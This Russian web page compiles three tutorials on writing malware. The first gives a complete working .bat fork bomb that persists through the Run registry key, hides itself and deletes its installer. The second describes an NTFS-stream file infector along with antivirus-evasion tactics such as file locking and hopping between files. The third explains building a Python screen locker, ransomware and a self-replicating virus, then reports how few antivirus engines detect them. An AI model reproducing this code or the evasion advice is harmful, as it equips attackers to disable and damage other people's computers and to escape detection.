Как написать свой вирус

Как создать, написать компьютерный вирус?

как создать вирус

Создание самых простых вирусов не требует наличия специальных сред для разработки программ. И особых знаний, кстати, тоже. Создать вирусы довольно просто, если использовать для этого командную строку. Для этого нужно немного знать синтаксис командной строки и уметь создавать .bat-файлы.

Что такое .bat-файл и как его создать?

Если очень поверхностно, то это файлы с расширением .bat. Такие файлы несут в себе команды, которые должны быть выполнены командным интерпретатором Windows. Все те команды, которые можно выполнить в окне командной строки, можно вписать в .bat-файл и запустить. Результат будет одинаковым.

Чтобы создать .bat-вирус, нам нужен обычный текстовый редактор. В идеале подойдет для этих целей Блокнот. Создав и открыв новый текстовый документ, Вам нужно вписать туда тот код(команды), которые он должен выполнить. После этого, Вам нужно с помощью меню Сохранить как сохранить этот файл, задав ему какое-либо имя с расширением .bat и указав тип файла Все файлы.

Создаем простейший вирус

В данной статье мы рассмотрим создание вируса, который после своего запуска будет бесконечно открывать окно командной строки. Бесконечно и очень быстро открывающиеся окна командной строки не дадут пользователю спокойно работать. Закрыть их всех не успеет никто и очень скоро они забьют оперативную память компьютера, что в свою очередь сильно затормозит работу компьютера, вплоть до полного зависания. Выглядеть это будет приблизительно так:

Вирус, который бесконечно открывает окно командной строки

Вдобавок, мы закинем наш вирус в автозагрузку, что обеспечит автоматический запуск вируса вместе с операционной системой.

Код создаваемого вируса

Сколько программистов, столько разных решений можно придумать для каждой задачи. Я приведу один из своих методов решения такой задачи.

[code]md c:\papka
echo start c:\papka\virus.bat>c:\papka\virus.bat
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v virus /d c:\papka\virus.bat
attrib +r +h +s c:\papka
attrib +r +h +s c:\papka\virus.bat
start c:\papka\virus.bat
del %0[/code]

А теперь разберем сам код. Первая строчка создает папку с именем papka в корне диска C:/. Такой адрес приведен только для примера. Использование же корня папки C:/ не совсем хороший вариант для вируса. Если Вы хотите обеспечить хорошую выживаемость Вашему вирусу, лучше всего спрятать его подальше. Первую команду можно даже пропустить, если Вы закинете сам вирус в уже созданную директорию.

Вторая строчка создает файл c:\papka\virus.bat и, с помощью команды echo, вписывает в него команду start c:\papka\virus.bat. Тут нужно знать, что после знака > указывается место вывода приведенной команды. Тут Вам нужно познакомится: c:\papka\virus.bat и есть основное тело вируса. Созданный нами .bat-файл с кодом, который мы сейчас разбираем, является всего лишь установщиком нашего основного вируса. Вы можете использовать другое название и другое местоположение для вируса.

Третья строчка закидывает созданный нами во второй строчке тело вируса в автозагрузку. Для этого используется пользовательская ветка реестра, так как к ней у пользователя всегда есть доступ. А вот использовать автозагрузку компьютера не безопасно, так как пользователь может не иметь административного доступа, что вызовет ненужную ошибку.

Четвертая и пятая строка кода изменяют атрибуты вируса и папки, где хранится вирус. Данными командами, а для этого используется команда attrib, мы добавляем атрибуты Только чтение, Скрытый и Системный и для папки, и для вируса. Использование атрибута r(Только чтение) необязательно. А вот атрибуты Скрытый и Системный хорошо защитят созданный нами вирус. Если не верите, то почитайте статью про вирус, который превращает папки на флешке в ярлыки. Он использует именно эту технологию.

6-ая строчка кода запускает наш вирус. Вы можете пропустить этот пункт, если хотите, чтобы первый запуск вируса произошел только после перезагрузки компьютера.

И, наконец-то, последняя, 7-ая строчка удаляет данный .bat-вирус. Это полезно, так как по этому .bat-файлу можно спокойно выйти на созданный нами вирус и удалить его.

Смысл созданного вируса

Смысл вируса, который уместился в эти 7 строк — создать основной вирус, защитить его и обеспечить его постоянную работу. А так же подмести свои следы. А что делает основной вирус? После запуска основного вируса, он выполняет ту команду, которая вписана в нее. А это команда, в свою очередь, запускает наш вирус, который опять-таки снова запускает самого себя. И так до бесконечности.

Как бороться с такими вирусами?

Во-первых, начало борьбы с данным вирусом начнется после того, как он запуститься. Очень скоро вирус заполнит своими копиями оперативную память и Вы даже мышкой шевельнуть не сможете. Поэтому, такой спектакль нужно пресекать сразу. Для этого прекрасно подойдет кнопка Break на клавиатуре. Жмите ее столько, сколько понадобится, чтобы новые копии перестали создаваться. На клавиатурах без кнопки Break, может помочь сочетание клавиш Ctrl+C.

Как удалить такой вирус?

Вы можете найти и удалить вирус через его запись в автозагрузке(подробнее по ссылке). А так же Вы можете выйти на вирус по команде, которая будет высвечиваться в окне командного интерпретатора. Естественно, если Вы сможете добраться до скрытого и системного файла. Вот таким образом происходит создание простого вируса.

Вирус для Windows. Создаем простейшую вредоносную программу на ассемблере

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

WARNING

Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Помни, что неправомерный доступ к компьютерной информации и распространение вредоносного ПО влекут ответственность согласно статьям 272 и 273 УК РФ.

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия (:), например my_file:stream . Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4 , вводим с клавиатуры имя файла и потока данных, например xxx:yyy , и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx .

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу <F4> и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy .

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.

Алгоритм работы вируса

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

В качестве примера архиватора, поддерживающего файловые потоки, можно привести WinRAR. Вкладка «Дополнительно» в диалоговом окне «Имя и параметры архива» содержит группу опций NTFS. В составе этой группы опций есть флажок «Сохранять файловые потоки». Установи эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Архиватор RAR способен сохранять файловые потоки в процессе архивации

Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx .

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.

Крис Касперски

Известный российский хакер. Легенда ][, ex-редактор ВЗЛОМа. Также известен под псевдонимами мыщъх, nezumi (яп. 鼠, мышь), n2k, elraton, souriz, tikus, muss, farah, jardon, KPNC.

Как написать шифровальщик на Python

Как написать шифровальщик на Python

Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.

Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян — RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.

Мы же создадим три демонстрационные программы: локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль, шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы, а также вирус, который будет распространять свой код, заражая другие программы на Python.

Как написать локер, шифровальщик и вирус на Python

Несмотря на то что наши творения не претендуют на сколько-нибудь высокий технический уровень, они в определенных условиях могут быть опасными. Поэтому предупреждаю, что за нарушение работы чужих компьютеров и уничтожение информации может последовать строгое наказание. Давайте сразу договоримся: запускать все, что мы здесь описываем, вы будете только на своей машине, да и то осторожно — чтобы случайно не зашифровать себе весь диск.

Вся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи.

Настройка среды

Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» (PDF). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.

Дополнительно установим несколько модулей, которые будем использовать:

На этом с подготовительным этапом покончено, можно приступать к написанию кода.

Создание локера

Идея — создаем окно на полный экран и не даем пользователю закрыть его.

Теперь возьмемся за основную часть программы.

Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.

Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.

Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:

Создадим функцию для ввода ключа:

Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.

Последняя функция, которая нужна для работы окна-вредителя:

На этом наш импровизированный локер готов.

Создание шифровальщика

Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.

Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:

Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:

Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:

Пишем функцию шифрования (все по мануалу pyAesCrypt):

Вместо str(password) скрипт-генератор вставит пароль.

Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.

Теперь функция, которая обходит папки. Тут тоже ничего сложного.

В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.

Здесь снова будет подставляться нужный путь.

Вот весь исходник целиком.

Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.

Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.

Создание вируса

Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.

На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.

Создадим три функции: сообщение, парсер, заражение.

Функция, которая сообщает об атаке:

Сразу вызовем ее, чтобы понять, что программа отработала:

Обход директорий похож на тот, что мы делали в шифровальщике.

В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.

Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).

В начале и в конце файла пишем вот такие комментарии:

Чуть позже объясню зачем.

Дальше функция, которая отвечает за саморепликацию.

Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп». Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код. Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.

Создание исполняемого файла

Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.

И вводим команду

Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.

Говорят, что с тех пор, как начали появляться вредоносные программы на Python, антивирусы стали крайне нервно реагировать на PyInstaller, причем даже если он прилагается к совершенно безопасной программе.

Я решил проверить, что VirusTotal скажет о моих творениях. Вот отчеты:

  • файл Crypt.exe не понравился 12 антивирусам из 72;
  • файл Locker.exe — 10 антивирусам из 72;
  • файл Virus.exe — 23 антивирусам из 72.

Худший результат показал Virus.exe — то ли некоторые антивирусы обратили внимание на саморепликацию, то ли просто название файла не понравилось. Но как видите, содержимое любого из этих файлов насторожило далеко не все антивирусы.

Итого

Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.

Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с C&C-сервером и я совсем не обфусцировал код.

Тем не менее уровень детекта антивирусами оказался на удивление низким. Получается, что даже самый простой вирус шифровальщик может стать угрозой. Так что антивирусы антивирусами, но скачивать из интернета случайные программы и запускать их не думая всегда будет небезопасно.

Как написать вирус за 5 минут в блокноте?

Если вам понравились материалы сайта, вы можете поддержать проект финансово, переведя некоторую сумму с банковской карты, счёта мобильного телефона или из кошелька ЮMoney.

Боковой панели навигации

Веб-блог посвященный компьютерным технологиям, взломам и кибербезопасности. В каждом разделе сайта и предоставленных материалах мы стараемся акцентировать внимание на разных подходах, чтобы показать разные приемы — защитные и наступательные. Эти знания помогут вам как пользователю понять, как выполняются самые популярные кибер-атаки и как защитить от них ваши данные.
Мы собираем и публикуем тематический контент, направленный на it-специалистов. На сайте вы найдете статьи о трендах и технологиях, так и о конкретных темах, связанных с it и it-безопасностью. Подробные (howto), практические материалы по разработке и администрированию.

Нижний колонтитул навигации

Поддержка

Мы не против любого использования материалов, но при указании активной ссылки на наш сайт. Обязательно делитесь записями в социальных сетях — давайте развивать наш уютный сервис вместе!

Про нас

Это открытая площадка для ознакомления и публикации разнообразной информации про ПК, операционных систем, гаджетов таких как Андроид и Apple и прочее!

Связь с нами

Чтобы связаться с нами, Вы можете писать нам на адрес электронной почты, указанном в разделе «контакты».

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *